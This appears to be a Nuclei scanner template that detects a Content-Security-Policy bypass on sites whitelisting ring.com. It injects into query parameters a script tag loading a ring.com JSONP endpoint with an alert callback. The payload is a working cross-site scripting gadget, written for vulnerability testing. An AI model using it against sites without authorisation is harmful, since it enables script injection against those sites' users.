id: ring-csp-bypass

info:
  name: Content-Security-Policy Bypass - Ring
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,ring,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "ring.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: ring_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://ring.com/partials/consent/sv-SE/strings.json?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "ring_csp_xss == true"
# digest: 4a0a00473045022100c39accf7ce0c6ebe71b11accf3103a8d07bd05749a590af8ee11ed97e18c1f1d02200c9df5d0fb283babf57e2c5bf7cd1f85920573d27797f9ec6a7048671e2093e2:922c64590222798bb761d5b6d8e72950